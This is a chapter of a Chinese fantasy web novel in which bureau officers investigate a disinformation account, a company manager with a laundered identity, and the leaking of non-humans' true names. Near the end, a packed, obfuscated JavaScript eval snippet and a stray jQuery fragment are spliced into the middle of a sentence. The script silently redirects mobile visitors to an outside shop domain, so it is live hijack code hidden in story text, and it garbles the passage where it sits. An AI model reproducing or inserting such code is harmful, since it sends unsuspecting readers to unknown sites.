白夜去本部了。
走之前他留了一句话——"等我电话"。然后拎着那个磨掉漆的旧公文包,穿灰色短袖,头发梳得整整齐齐,像个去开会的中年公务员,消失在管理局大楼的电梯里。
没有人知道他去了哪里。也没有人问。
沈知意到办公室的时候是八点十分。比平时早了十分钟——她昨晚没睡好。不是因为焦虑,是因为阿九的蜡笔画贴满了她宿舍的墙。管理局单身宿舍在一楼,条件一般,但阿九觉得"姐姐的房间"比自己的好看,昨天吃完馄饨非要跟着她回去画画。画到十一点才被林小狸拎走。
办公室里已经有人了。
格里高尔。当然是他。他大概比沈知意还早到——电脑开着,屏幕上是"城市守望者"后台数据的实时监控面板。桌上的保温杯冒着热气,阿九贴的夜光贴纸在晨光里变成了普通的绿色贴纸,不再发光。
"早。"沈知意放下包。
"早。"格里高尔没回头。他正在做一件事——把"城市守望者"所有文章里提到的"案例"逐一核查来源。
"有发现?"
"第五篇文章引用了一个案例——'城东区某小区石妖住户失控,造成两名居民受伤'。我查了管理局的公开事故通报。城东区确实有一起石妖失控事件——但发生在两年前,不是文章暗示的'近期'。而且那次事件的原因是石妖被人类醉酒后殴打——不是'无故失控'。文章截掉了前因,只留了后果。"
"断章取义。"
"对。第七篇引用的'统计'——'近五年非人类形态失控事件年均增长37%'——这个数字在管理局年报里找不到。我查了所有公开年报的原始数据。实际数字是——年均增长4.2%。"
"差了快十倍。"
"对。他把4.2%改成了37%。"格里高尔的声音很平,但他敲键盘的力度比平时重了一点,"而且他用的图表——纵轴不是从0开始的。从30%开始画。这样4.2%的增长在图上看起来就像一个很陡的坡。"
沈知意靠在格里高尔的椅背上看了那张图。
确实很唬人。一条红线从左下角冲到右上角,看起来像非人类失控事件在"暴增"。但如果纵轴从0开始——那条线几乎是平的。
"这就是他的手法。"沈知意说,"不造谣。不编造事件。但用真实的数据——改一改、截一截——让读者得出错误的结论。你没法告他造谣,因为每个'案例'都是真的。只是被篡改了上下文。"
"对。法律上很难追责。"
"先记录。十三篇文章——每一篇的数据来源、篡改方式、与原始数据的差异——都列出来。"
"已经在做了。"格里高尔把一个表格推到屏幕一角。十三行,每行对应一篇文章,后面列着"原始数据""引用数据""篡改方式""差异率"四列。最后一列的差异率从280%到920%不等。
格里高尔做这种工作的时候有一种——沈知意不知道该怎么形容——较真?不,不是较真。是那种克系生物对"信息准确性"的本能执着。他的物种天生对信息敏感——真假、偏差、噪音——他能感知到。被人篡改的数据对他来说就像一个走调的音符,不纠正就难受。
"格里的,你吃早饭了吗?"
"吃了。饼干。"
"又是饼干?"
"饼干够了。"
"不够。中午我请你吃面。"
格里高尔看了她一眼。帽檐在眉骨上方五指。他的紫色眼睛在屏幕的蓝光下显得很亮。
"——好。"
八点半,林小狸到了。她今天扎了双马尾——管理局大楼里不用藏耳朵,但出门还是要戴帽子。双马尾是为了方便戴帽子的时候把耳朵压平。
"早!阿九呢?"
"苏老师今天有课,早上校车来接了。"格里高尔说。
"哦。"林小狸放下包,从抽屉里掏出一袋小面包——她的早餐备用粮。撕开包装,咬了一口,然后注意到法务室的角落。
灯亮了。
殷红坐在里面。她今天没戴墨镜——在办公室里不用戴。她的红色眼睛在暗处不太明显,但如果仔细看,虹膜的颜色比昨天淡了一些。
"殷姐,早。"
"嗯。"殷红面前摊着几页纸。手写的。钢笔字很漂亮——三百年的功底。沈知意昨天走之后她大概写到很晚。
陆远不在。
"殷姐,陆远呢?"
"走了。天亮之前走的。"殷红说,"他白天不能在外面。血族第五代——对光线的耐受度比我还低。他找了个地方待着,晚上再来。"
"他——会一直在吗?"
"暂时。"殷红的语气没有多解释。她把面前的几页纸整理了一下,推到桌子边缘,"法律意见写完了。"
沈知意走过去。
三页纸。钢笔字密密麻麻。殷红的字迹很小但很清晰——每个字都像刻出来的。
"我念给你听。"殷红说。她不需要念——但沈知意是唯一需要了解法律细节的人类。
"第一部分——真名威胁行为的法律定性。"
"威胁信上写的'你的真名是什么?苏木是你的化名吗?'——这是一个疑问句。在现行法律框架下,疑问句不构成'非法获取'的直接证据。但如果结合其他行为——比如身份信息的违规泄露、有组织的驱离行动——可以构成'以真名信息为工具的恐吓'。适用《共存法》第三十八条——'利用非人类身份信息实施恐吓、胁迫的,处一年以上五年以下有期徒刑。'"
"一年到五年。"沈知意记下了。
"第二部分——如果真名确实被泄露。"
"如果威胁方确实持有苏木的真名——不管他们有没有公开——光是'持有'就已经构成犯罪。适用《共存法》第四十二条——'非法获取、传播、使用非人类真名信息'。三年到十年。情节严重——十年以上或无期。"
"什么算'情节严重'?"
"三种情形。一、真名被用于实施其他犯罪。二、真名泄露导致非人类受到人身伤害。三——"殷红顿了一下,"系统性泄露。即——不是个案,而是有组织、有规模地收集和泄露多个非人类的真名。"
"系统性泄露。"沈知意重复了一遍。
"对。如果方明不只是泄露了苏木一个人的真名——如果他还泄露了其他人的——那就是'系统性'。量刑直接上到十年以上。"
沈知意想到了白夜昨晚说的话——"十五年前管理局查到过系统性收集非人类真名的线索。"十五年前就是"系统性"的。现在如果方明也在做同样的事——
"殷红,第三部分呢?"
殷红翻到第三页。
"第三部分——追诉和举证。"
"真名泄露案件的举证有一个特殊难点——'真名'本身是SS级加密信息。在法庭上,真名不能被公开宣读、不能被写入判决书、不能出现在任何公开的法律文书中。这意味着——即使检方掌握了真名被泄露的证据,庭审过程也需要在封闭条件下进行。"
"不公开审理?"
"对。非人类真名相关案件一律不公开审理。法官、检察官、辩护律师——全部需要SS级权限认证。这导致——"
殷红的钢笔在纸上点了一下。
"这导致什么?"
"这导致大部分真名泄露案件根本到不了法庭。"殷红说,"因为凑不齐有SS级权限的司法人员。全国有SS级权限的法官——不超过二十个。检察官——更少。很多案件在侦查阶段就卡住了——因为侦查人员也没有SS级权限。"
"那——方明和周正阳有SS级权限?"
"他们是分局的。分局的SS级权限只限于本辖区的登记信息。也就是说——方明能看到北城分局辖区所有非人类的真名。周正阳作为副局长——审批权限更高。但他们不能看其他分局的。"
"如果他们泄露了其他分局辖区的非人类真名呢?"
"那就是——跨区域系统性泄露。直接由本部刑侦接管。"
沈知意沉默了一下。
这就是白夜去找老秦的原因。不是普通的查日志——是要确认方明有没有越权访问其他辖区的真名。如果有——这个案子就从北城分局的"内部违规"升级为本部直办的"跨区域刑事案件"。
"殷红——你说的'系统性泄露'——在历史上发生过吗?"
殷红看了她一眼。红色的眼睛在暗处像两颗暗红色的宝石。
"发生过。"她说,"不止一次。"
"什么时候?"
"最近的一次——就是十五年前。苏老师跟你提过的那次。"殷红说,"但更早的——还有。"
"更早?"
"二百年前。"殷红说,"那时候还没有管理局。没有《共存法》。没有'真名保护'这个概念。非人类——尤其是自然系妖怪——的真名被当作——"
她停了一下。
"当作什么?"
"当作商品。"殷红的声音很冷。不是冷漠——是那种在极低温度下才会有的冷。"有人专门收集真名,卖给收藏家、卖给研究机构、卖给——想要控制非人类的人。一个木灵族的真名——在当时能卖到五百两白银。"
"五百两?"
"木灵族稀少。真名更稀少。物以稀为贵。"殷红说,"血族也有类似的——不是真名,是'血脉印记'。每一代血族被初拥时,会从'父辈'那里继承一段血脉记忆。这段记忆跟血脉绑定——如果被提取,就等于控制了这一支血族的传承。"
"被提取过吗?"
殷红没有马上回答。
她的右手食指和中指——昨天沈知意注意到的那两根有干涸血迹的手指——在桌面上轻轻蜷了一下。
"我被提取过。"
沈知意愣住了。
"三百年前。"殷红的声音没有波动。像在讲一个别人的故事。"我被一个人类——他叫阿生——他把我从猎人手里救出来。我以为他是好人。他确实是好人——至少一开始是。但后来——有人找到他。告诉他血脉印记的价值。他——"
"他出卖了你?"
"他没有主动出卖。"殷红说,"他被骗了。有人假扮管理局的前身——'异种事务司'——的官员,拿了一份伪造的文书,说需要登记血脉印记信息。阿生不认识官方文书的样子——那时候普通人对非人类事务的了解很少。他签了字。"
"然后呢?"
"然后我的血脉印记被'登记'了。实际上是被人拿走了。拿走之后——他们可以用印记追踪我。知道我在哪里。知道我的状态。知道我什么时候虚弱、什么时候强壮。"
"你怎么办的?"
"我跑了。"殷红说,"跑了很远。跑了很久。从一个城市到另一个城市。从一个国家到另一个国家。但印记就像一个——你怎么说——GPS。不管我跑到哪里,他们都能找到我。"
"后来呢?"
"后来——"殷红的嘴角动了一下。不是笑。是某种更复杂的东西。"后来白夜找到了我。"
"白夜科长?"
"他说——'你跑不掉的。但你可以把印记封起来。'他用了一种——很古老的方法——把我的血脉印记封在了一个地方。封住之后——追踪就断了。但印记还在。只是被锁住了。"
"锁在哪里?"
殷红看了她一眼。
"这个问题——我不回答。"她说。语气很平。不是拒绝——是边界。
"对不起。我不该问。"
"没关系。"殷红说,"我说这些——不是为了让你同情我。是为了让你理解——真名泄露对非人类来说意味着什么。不是一个'信息泄露'。是——失去自由。失去对自己存在的控制。苏木现在害怕的——不是被赶走。是'被找到'。不管她跑到哪里——如果她的真名真的被泄露了——她永远都'被找到'。"
沈知意沉默了。
她想起了苏木坐在植物园长椅上的样子。一动不动。像一棵把自己连根拔起来的树——但根还拖在地上,无处安放。
"殷红——你说你被提取过血脉印记。那个骗阿生的人——后来查到了吗?"
"没有。"殷红说,"那是三百年前。没有档案。没有系统。没有日志。那个人——假扮官员的那个人——消失得干干净净。就像他从来没有存在过。"
"就像孙启明。"
殷红看了她一眼。
"你在想——孙启明是不是同一种人。"
"不是同一个人。三百年太久了。但——同一种手法。假扮官方人员。利用信息不对称。拿到非人类的核心信息。然后消失。"
"有可能。"殷红说,"也有可能不是。三百年来——做这种事的人不止一批。但他们的手法——惊人地相似。"
"为什么?"
"因为手法有效。"殷红说,"非人类对'官方'有一种天然的信任——或者说,天然的服从。因为《共存法》是我们安身立命的基础。如果连法律都不信了——我们还能信什么?所以当有人假扮官方——大部分非人类不会质疑。就像阿生不会质疑那份假文书。就像苏木不会质疑方明在系统里的登记。"
"因为信。"
"因为不信的代价太大。"殷红说,"不信——意味着不登记。不登记——就没有合法身份。没有合法身份——就不能租房、不能工作、不能看病。一个不登记的非人类——在法律上等于不存在。"
沈知意听懂了。
非人类对"系统"的信任——不是因为他们天真。是因为他们没有别的选择。系统是他们唯一能依靠的东西。即使系统里有方明这样的人——他们也只能赌:赌经办我的人是好的。赌我的信息不会被卖掉。
苏木赌输了。
但她不是唯一一个赌输的人。
"殷红——谢谢你告诉我这些。"
"不用谢。"殷红把三页纸推过来,"这个——收好。不经过电子系统。白夜说手写——我手写了。你保管。"
沈知意把三页纸折好,放进了跟昨天手写报告同一个抽屉里。锁上。
上午十点。
格里高尔突然叫了一声。
不是大叫——是那种"我发现东西了"的短促出声。像猫看到虫子。
"沈知意——来看。"
沈知意走过去。格里高尔的屏幕上是一张工商登记信息的截图——锐信传媒的股东结构页面。跟之前查到的一样:赵光明60%,孙启明40%。
但格里高尔在旁边打开了一个新窗口。
"我昨晚用了一个方法——不是查名字,是查身份信息。"他说,"锐信传媒的工商登记里,股东需要填写身份证号。孙启明的身份证号——前六位是地址码。我查了这六个数字对应的地区。"
"哪里的?"
"不是任何行政区划的代码。"格里高尔说,"这六位数字——不在国家标准行政区划代码库里。"
"什么意思?"
"意思是他填了一个不存在的地址码。"格里高尔说,"工商系统的自动校验没有拦截——因为系统只校验格式,不校验内容。只要六位数字、格式正确,就能通过。但实际查——这个号码是假的。"
"□□?"
"不完全是。"格里高尔说,"后面的出生日期码和校验位——我验算过了——校验位是正确的。这意味着——这个号码是用一套真实的算法生成的,只是地址码被替换了。不是随便编的。是有人——专门制造了这个身份。"
"身份清洗。"
"对。"格里高尔说,"有人帮孙启明洗了一个干净的身份。这个身份在工商系统里是'合法'的——格式正确、校验通过。但实际查不到任何背景。因为他从来没有用过这个身份做过任何其他事——除了入股锐信传媒。"
"一个只为一件事而存在的身份。"
"对。"
沈知意盯着那个身份证号看了很久。
孙启明。一个查不到的人。一个只用一次的身份。一个40%的股东。
他不是普通人。他是——有人放在暗处的一颗棋子。不需要他做什么——只需要他的名字出现在股东名单上。这样锐信传媒就有了一个"股东"——一个永远不会被查到、永远不会被联系上、永远不会出庭的"股东"。
法律上——他存在。实际上——他不存在。
"格里的——能不能通过身份证号反查?比如——这个号码的生成算法跟其他已知身份有没有关联?"
"我在试。"格里高尔说,"但——这个需要管理局的数据库。工商系统的数据不够。"
"等白夜科长回来。把这个线索给他。"
"明白。"
格里高尔把数据保存了。然后他犹豫了一下。
"沈知意。"
"嗯?"
"我——昨晚也查了我自己的。"
"查什么?"
"我的真名登记记录。"格里高尔的声音很轻,"在管理局系统里。我的登记经办人是白夜科长。我查了——访问记录。只有一条。就是白夜登记的那一次。没有其他人访问过。"
"你担心——"
"我知道白夜科长是可信的。"格里高尔说,"但——苏木也以为方明是可信的。她申请了信息保护——以为系统会保护她。结果——"
他没说下去。
沈知意看着他的侧脸。苍白的。紫色的眼睛。帽檐在眉骨上方五指。
格里高尔在害怕。不是怕出门——是怕"被找到"。苏木的遭遇让他想到了自己。他的真名虽然在白夜手里——但系统里有没有备份?有没有人能绕过白夜的权限看到?
"格里高尔——你的真名安全。白夜科长说过——'不会让第三个人知道'。"
"嗯。"
"而且——你的登记不走分局。走的是第七科直报。分局的人看不到。"
"我知道。"格里高尔说,"但——"
他停了一下。
"但如果白夜科长不在了呢?"
这句话很轻。但沈知意听出了它的重量。
如果白夜不在了——谁来保管他们的真名?谁来保护他们?
沈知意不知道怎么回答这个问题。
因为答案是——没有答案。
"白夜科长在。"她最终说,"先把眼前的事做好。"
格里高尔点了点头。他转过身继续盯着屏幕。但他的手——沈知意注意到——握着保温杯,握得很紧。
中午。
沈知意请格里高尔吃了面。管理局食堂的面条——六块钱一碗,清汤面加个蛋。格里高尔吃面的时候帽檐没动——这说明他在公共场合还是不自觉地压低帽子。但至少他出来了。坐在食堂里。吃面。
"好吃吗?"
"——嗯。"格里高尔说。他吃东西的样子很认真——一口一口,速度均匀。像在做实验。
林小狸端着一碗酸辣粉坐过来。她的酸辣粉红得像岩浆。
"小狸姐,你的耳朵——"格里高尔看了一眼林小狸的头顶。管理局食堂里有很多非人类员工——不用藏。
"哦——今天没戴帽子。食堂里不用戴。"林小狸嗦了一口粉,"但下午出门要戴。"
"你不觉得——累吗?"
林小狸的筷子停了一下。
"累。"她说,"习惯了就不觉得了。就像——你每天压帽子。你已经不觉得了。对吧?"
格里高尔想了一下。
"——对。"
"一样的。"林小狸继续嗦粉,"我们都是——把不正常当正常活着的人。"
这句话在食堂的嘈杂声里飘了一下就散了。但沈知意听到了。
把不正常当正常。
出门戴帽子。在办公室才摘。食堂里不戴。电梯里戴。公交车上戴。管理局里不戴。出了管理局门——戴。
这就是林小狸的一天。
也是赵小敏的一天。也是苏木的一天。也是——这个城市里每一个"看起来不太一样"的人的一天。
下午一点半。手机响了。
不是沈知意的手机——是刘国强的。
准确地说——是刘国强打到了沈知意留给他的号码上。
"沈——沈科员!"
刘国强的声音很急。上气不接下气。像跑了很长一段路。
"刘叔?怎么了?"
"那个——那个穿西装的——又来了!"
沈知意的手指在桌面上攥紧了。
"现在?"
"刚走!五分钟前!他在楼下——在一栋大堂里等着——看到我下楼拿快递就过来了!"
"他说了什么?"
"他问——'管理局的人来过了?问了什么?'我说'就问了问情况'。他说'问了哪些人'。我说'问了我和非人类住户'。他——他听到'非人类住户'的时候——笑了一下。然后说'管理局的人只是走流程。别当回事。请愿书继续推。'"
"他还说了什么?"
"他说——'刘先生,翠园小区的改造方案下个月就会公布。到时候非人类住户的续租审批会成为一个大问题。您和签字的住户——越早形成共识越好。'然后他就走了。"
"他往哪个方向走的?"
"出了小区大门往右——往公交站那边。"
"刘叔——他长得什么样?您能再说详细一点吗?上次您说四十来岁、戴眼镜——"
"对。四十来岁。方脸。眼镜是那种——金属框的。瘦。个子不高,大概一米七。穿深蓝色西装——天热了还穿西装。皮鞋——黑色的。很干净。手里——拿着一个皮质的文件夹。棕色的。"
"刘叔——您有没有拍到他?"
电话那头沉默了两秒。
"——拍了。"
"什么?"
"他走的时候——我从大堂的窗户看到他出了门——我拿手机拍了一张。但——远——有点模糊。"
"能看清脸吗?"
"——大概能。不太清楚。但有个人形。"
"刘叔——您把照片发给我。号码就是您打的这个。"
"好好好——我发——等等——怎么发来着——"
沈知意听到电话那头传来手机操作的窸窣声。刘国强不太会用智能手机——发照片对他来说是个技术活。
"——发了!你看看收到没有?"
沈知意的手机震动了一下。
一张照片。
确实模糊——手机拍的,隔着玻璃窗,距离大概三四十米。画面里有一个穿深色西装的人影,正在走出小区大门。侧脸。看不清五官细节——但能看到轮廓:方脸、眼镜、瘦削。
"收到了。刘叔——谢谢您。"
"谢什么——我——我是不是应该早跟你说?他来得太突然了——"
"您做得很好。刘叔——如果他再来——您再打这个电话。不要跟他说太多。就说什么都不知道。"
"——好。"
"还有——刘叔——您今天下楼拿快递的时候——是不是在帮苏木浇花?"
电话那头又沉默了两秒。
"——嗯。她门口那几盆。我看土干了。"
沈知意笑了一下。
"刘叔——谢谢您。"
"——谢什么。花是人家种的。死了可惜。"
挂了电话。
沈知意把照片转到格里高尔那里。
"格里的——这张照片。能处理吗?"
格里高尔接过来看了看。
"分辨率很低。但我可以试——锐化、对比度增强、面部特征提取。如果能提取到足够的特征点——可以做面部比对。"
"跟什么比?"
"瑞景置业的官网有团队介绍页面。如果这个人出现在上面——"
"试。"
格里高尔开始处理照片。他的手指在键盘上飞快地移动——图像处理是他的专业领域。克系生物对信息的感知不仅限于文字数据——图像、声音、信号——他都能处理。
五分钟后。
"锐化完成。面部特征——提取到了七个特征点。方脸、鼻梁高度、眼镜框型、颧骨轮廓——足够做初步比对了。"
他打开了瑞景置业的官网。
团队介绍页面。七个人——董事长、总经理、副总、财务总监、项目经理、运营经理、行政主管。每人一张证件照。
格里高尔把处理后的照片跟七张证件照逐一比对。
"不是董事长。不是总经理。不是副总。不是财务总监。"
"项目经理——"
格里高尔停了。
"匹配度——78%。"
沈知意凑过去看。
项目经理那一栏。照片上是一个四十来岁的男人。方脸。金属框眼镜。瘦。
名字栏写着:孙启明。
办公室安静了三秒。
"孙启明。"沈知意说。
瑞景置业的项目经理——孙启明。就是那个查不到任何背景信息的锐信传媒40%股东。就是那个身份被清洗过的人。
他不是"凭空出现"的。他一直在瑞景置业——只是用了一个假身份。
而他——就是那个去翠园小区给刘国强送请愿书模板、催他签名、自称"社区安全顾问"的人。
"格里的——确认一下。78%的匹配度——够不够?"
"不够定罪。但足够定向。"格里高尔说,"如果老秦能调到瑞景置业的员工档案——里面有身份证复印件、社保记录、入职照片——就能做精确比对。"
"等白夜科长回来。这条线索——交给他。"
沈知意站起来,在办公室里走了两步。
线索在收紧。
赵光明→锐信传媒→孙启明→瑞景置业项目经理→翠园小区"社区安全顾问"→"城市守望者"公众号管理员电话。
同一个人。同一条线。
但孙启明上面还有谁?瑞景置业的法人李卫国?还是更上面的人?
"城市守望者"的资金从哪来?锐信传媒注册资本50万——养不起职业水军。钱从哪来?
这些问题——可能要等白夜从本部回来才能回答。
下午四点。
手机响了。
白夜的。
"沈知意。"
"科长。"
"老秦查到了一些东西。"
白夜的声音很平。跟平时一样。但沈知意注意到——他说话的节奏比平时慢了一拍。像在斟酌每个字该不该说。
"苏木的真名访问记录——北城分局的系统日志显示,方明在苏木登记之后,又访问过两次苏木的真名文件。一次是三个月前——晚上十一点。一次是一个月前——下午两点。"
"两次都没有审批记录?"
"没有。方明用的是自己的科员权限——可以直接查看本辖区SS级信息。不需要审批。只有'导出'才需要审批。但——'查看'本身就能看到真名内容。"
"他看了。记住了。然后——"
"然后他可能口头转述了。或者手抄了。"白夜说,"系统日志只记录'访问'——不记录'用户看了之后做了什么'。"
"所以——方明确实看了苏木的真名。但我们不能证明他'告诉了别人'。"
"对。但——"白夜停了一下,"老秦还查了另一样东西。"
"什么?"
"方明的访问记录——不只是苏木。他过去一年里——访问了七个非人类的真名文件。"
沈知意的手指攥紧了手机。
"七个?"
"七个。全部是北城分局辖区的登记非人类。木灵族两个、兽耳族三个、石妖一个、蜥蜴亚人一个。"
"蜥蜴亚人——翠园小区有一个——周凡。"
"对。周凡是其中之一。"
周凡。住在翠园小区顶楼的蜥蜴亚人插画师。苏木曾经告诉他"有人在看我们"。他自己也发现电梯口有人踩过的灰痕。
方明看过周凡的真名。
七个非人类。七个真名。被同一个人——在一年之内——反复访问。
这不是个案。这是系统性的。
"科长——这够不够定'系统性泄露'?"
"老秦说——还需要更多证据。访问记录只能证明'看了',不能证明'泄露了'。但如果能把方明访问过的这七个非人类的遭遇串起来——如果他们都受到了类似的威胁或驱离——那就是完整的证据链。"
"翠园小区就有三个——苏木、赵小敏、周凡。如果其他四个也——"
"老秦在查。他正在调这七个人的居住地和近期状况。"
"要多久?"
"不知道。"白夜说,"沈知意——我今天不回来了。在本部待一晚。明天继续跟老秦碰。"
"好。"
"办公室那边——有什么情况?"
"殷红的法律意见写完了。我手写收着了。还有——"沈知意把刘国强的电话、'社区安全顾问'再次出现、照片比对结果、孙启明=瑞景置业项目经理——一口气说了。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17716161|208523||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
白夜沉默了五秒。
"孙启明。"
"对。"
"——这个人在瑞景置业当项目经理。用假身份。同时是锐信传媒40%股东。同时是'城市守望者'公众号的实际运营者。同时亲自去翠园小区当'社区安全顾问'——给居民送请愿书模板。"
"对。"
"他一个人——干了四件事。"
"对。"
"这说明什么?"
沈知意想了想。
"说明——他不是'听命令办事'的底层。他是整个操作的执行核心。所有线——公众号、请愿、锐信传媒、瑞景置业的对接——都经过他。"
"对。"白夜说,"所以——如果能拿下孙启明——整张网就断了。"
"但他的身份是假的。抓了——也查不到真人。"
"不。"白夜说,"身份可以假。但人是真的。他在瑞景置业上班——有同事、有办公地点、有日常行踪。他是活生生的人——不是影子。只要他还在瑞景置业——就能找到他。"
"科长——要不要通知老秦?让他查孙启明的真实身份?"
"我已经跟他说了。"白夜说,"但——沈知意——不要急。孙启明现在不知道我们在查他。如果我们打草惊蛇——他会消失。就像十五年前那些人一样——消失得干干净净。"
"那——"
"等。"白夜说,"等老秦把七个人的情况查完。等殷红的法律意见走完流程。等我把本部这边的关系理顺。然后——一次性收网。"
"多久?"
"可能一周。可能两周。"
"两周——苏木在植物园能待两周吗?"
"能。苏老师会照看。"白夜说,"赵小敏那边——她暂时安全。他们对她用的是'软'手段——补贴、建议。不会动粗。动粗的是苏木——因为苏木是'硬骨头'。现在苏木跑了——他们暂时也没有新的硬目标。"
"那'城市守望者'呢?阅读量还在涨。评论区越来越激烈。"
"我知道。"白夜说,"这个——我会处理。不是删帖。是——从另一个方向对冲。"
"什么意思?"
"你不需要知道。"白夜说。然后补了一句——"相信我。"
沈知意握着手机。
白夜说了"相信我"。他很少说这三个字。他通常说"等"或者"我来处理"——那是命令。但"相信我"——不是命令。是请求。
"好。"
"还有一件事。"白夜说,"殷红回来了?"
"回来了。法律意见写完了。她——跟我说了一些事。关于血脉印记。"
白夜沉默了一下。
"她愿意说——是好事。"他说,"她三百年没跟人说过这些。"
"她跟我说——是因为苏木的事。"
"嗯。苏木的事——触到了她的旧伤。"白夜说,"但——旧伤被触到——不一定是坏事。有些伤口——需要被看到才能愈合。"
沈知意没有接话。她不太确定自己同意这句话。有些伤口被看到之后——只会更疼。
"沈知意——明天你们不用去翠园小区了。在家待着。盯'城市守望者'。如果有新文章——第一时间告诉我。"
"好。"
"殷红那边的法律意见——让她誊一份。手写。我回来拿。"
"她已经写了一份。"
"让她再誊一份。两份——一份我带走,一份留底。分开保管。"
"好。"
"挂了。"
"科长——"
"嗯?"
"注意安全。"
白夜没回答。电话挂了。
沈知意握着手机站了一会儿。
"城市守望者"的阅读量在涨。方明访问了七个非人类的真名。孙启明是整张网的执行核心。白夜在本部待着不走——说明他在布一个更大的局。
而她——在第七科的地下室里。盯着一个公众号的后台数据。等。
等。
这是白夜教她的第二课——除了"分两份报告"之外的第二课。
会等的人,才不会输。
晚上。
办公室里只剩下殷红和格里高尔。
林小狸带着阿九走了——阿九今天在共生学院画了一幅"我的同事们",画了七八个人,每个都是火柴人,但头上画了不同的特征:一对猫耳、一顶帽子、一副墨镜、一条尾巴。林小狸说这幅画要贴在办公室的墙上。沈知意说好。
沈知意也没走。她在写——不是报告。是调研报告的第二部分。
那个从城西老街结案之后就开始写的——《关于非人类经营许可证标识制度的调研与建议》。
第二部分"现存问题分析"卡了很久。但现在——有了翠园小区的素材——她突然知道该怎么写了。
问题不是"标识制度"本身。问题是——标识制度让非人类的身份变成了一个可以被利用的工具。
城西老街——蓝色标识让非人类店铺被精准锁定、被恐吓、被砸。
翠园小区——物业公示非人类住户身份(虽然是违规的,但信息来源是管理局的登记系统)——然后居民联名请愿要求驱离。
方明——利用科员权限反复访问非人类真名——七个人——系统性收集。
"城市守望者"——用篡改的数据和断章取义的案例煽动反非人类情绪——阅读量从几千涨到两万。
这些问题的根源——不是某个坏人。是一个系统。一个把非人类的身份信息当作"可以公开的标签"来管理的系统。
标识制度让人类知道"谁是非人类"。登记制度让管理局知道"非人类在哪里"。真名加密制度让有权限的人知道"非人类的真名是什么"。
每一层——都意味着非人类的信息被某个人掌握。每一层——都有可能被滥用。
沈知意写了很长。
她写到刘国强——一个被恐惧利用的爷爷。写到赵小敏——一个不敢出门的兔耳族女孩。写到苏木——一个靠光合作用在植物园活了三天的木灵族。写到林小狸的妈妈——十五年出门戴帽子。写到殷红——三百年前被"假官员"骗走了血脉印记。
她写到方明——一年内访问七个非人类真名。
她写到孙启明——一个用假身份活着的人。
她写到"城市守望者"——一个用假数据煽动恐惧的公众号。
写到最后——她写了一段话。不是给上面看的官方语言。是她自己想说的。
"非人类身份信息的管理——不应以'方便人类识别'为目标。因为'识别'的本质是'区分'。而'区分'的下一步——往往是'排斥'。如果管理局的存在——让非人类觉得'被看见'是危险的——那管理局就背离了它存在的初衷。"
她看着这段话。觉得太直了。上面的人不会喜欢。
但她没有删。
殷红从法务室走出来。她已经誊完了第二份法律意见——手写。钢笔字。三页纸。
"沈知意——还在写?"
"嗯。调研报告。"
"第二部分?"
"嗯。"
"写完了吗?"
"差不多。"
殷红走过来看了一眼屏幕。沈知意本能地想关掉——但她没有。殷红是法务顾问。她有资格看。
殷红读了一会儿。读到最后那段话——"如果管理局的存在让非人类觉得'被看见'是危险的——那管理局就背离了它存在的初衷。"
她没有评价。
她只是说了一句:"这段话——白夜会同意。"
"上面不会同意。"
"上面同不同意——不重要。"殷红说,"重要的是——你自己信不信。"
沈知意看着屏幕上那段话。
她信。
"我信。"
"那就留着。"殷红转身走回法务室,"有些话——不是因为上面爱听才写的。是因为该说。"
格里高尔在后排一直没说话。但他的屏幕上——"城市守望者"的后台监控还在跳。
阅读量——破三万了。
评论区热评第一——"非人类滚出居民区!"五百个赞。
格里高尔把这条评论截了图。存档。记录。日期、时间、点赞数、评论ID。
他做这些的时候——脸上没有表情。但他的帽子——沈知意注意到——往下降了一点。从五指变成了四指。
不是因为紧张。是因为——
愤怒。
格里高尔很少愤怒。他是克系生物——对信息的感知比情感更敏锐。但"城市守望者"的每一条假数据、每一个煽动性评论、每一个被操纵的恐惧——都在他的感知范围里。像一个越来越大的噪音。
他降帽檐——不是在退缩。是在压制。
沈知意走过去。
"格里的——你的帽子。"
格里高尔伸手摸了一下帽檐。发现它降了。他把帽子推回去。推到五指。
"——没事。"
"你生气了。"
"没有。"
"你的帽子说你生气了。"
格里高尔看了她一眼。紫色的眼睛里有一种——沈知意没见过的东西。不是恐惧。不是退缩。
是一种很深的、很安静的——不满。
"他们在撒谎。"格里高尔说,"数据是假的。案例是截断的。评论是买的。他们——在用信息制造恐惧。"
"对。"
"信息应该是真实的。"格里高尔的声音很轻但很硬,"不真实的信息——是噪音。噪音会——"
他停了一下。像在找一个词。
"会杀人。"他说,"不是直接杀。是——让所有人开始害怕一个不存在的东西。然后——害怕的人会做出可怕的事。不害怕的人——也会被卷进去。"
沈知意看着他。
格里高尔说的不只是"城市守望者"。他说的是——所有用信息制造恐惧的行为。从三百年前骗走殷红血脉印记的假官员,到十五年前系统性收集真名的网络,到今天运营"城市守望者"的孙启明。
手法在变。本质没变。
"格里的——你说的对。"沈知意说,"不真实的信息会杀人。但——真实的信息也会。苏木的真名是真的。方明看到的是真的。他用真的信息——做了假的事。"
格里高尔沉默了。
"所以——重要的不只是'信息真不真'。重要的是——'谁有权力看到信息'、'看到之后能做什么'。"沈知意说,"这才是我们要查的。不是查'城市守望者'说了什么假话。是查——谁给了他们权力、让他们可以用真话和假话一起来伤害人。"
格里高尔想了很久。
然后他把帽子又推高了一点。不是五指——是六指。
"我——继续监控。"他说。
"好。"
沈知意回到工位。她把调研报告存了档——关掉电脑。
窗外已经全黑了。地下室的窗户只能看到一小片天空。今晚没有星星。
殷红在法务室里坐着。灯关了。她在黑暗里——血族喜欢黑暗。但沈知意知道她没睡。她的眼睛在暗处会发出微弱的红光——像两颗很暗的星。
"殷红。"
"嗯。"
"你说的——白夜把你的血脉印记封住了。封住之后——追踪就断了。"
"嗯。"
"那个封印——还在吗?"
殷红沉默了三秒。
"在。"她说,"只要白夜在——就在。"
又是这句话。
"如果白夜不在了呢?"
殷红没有回答。
黑暗里——两颗暗红色的星灭了。
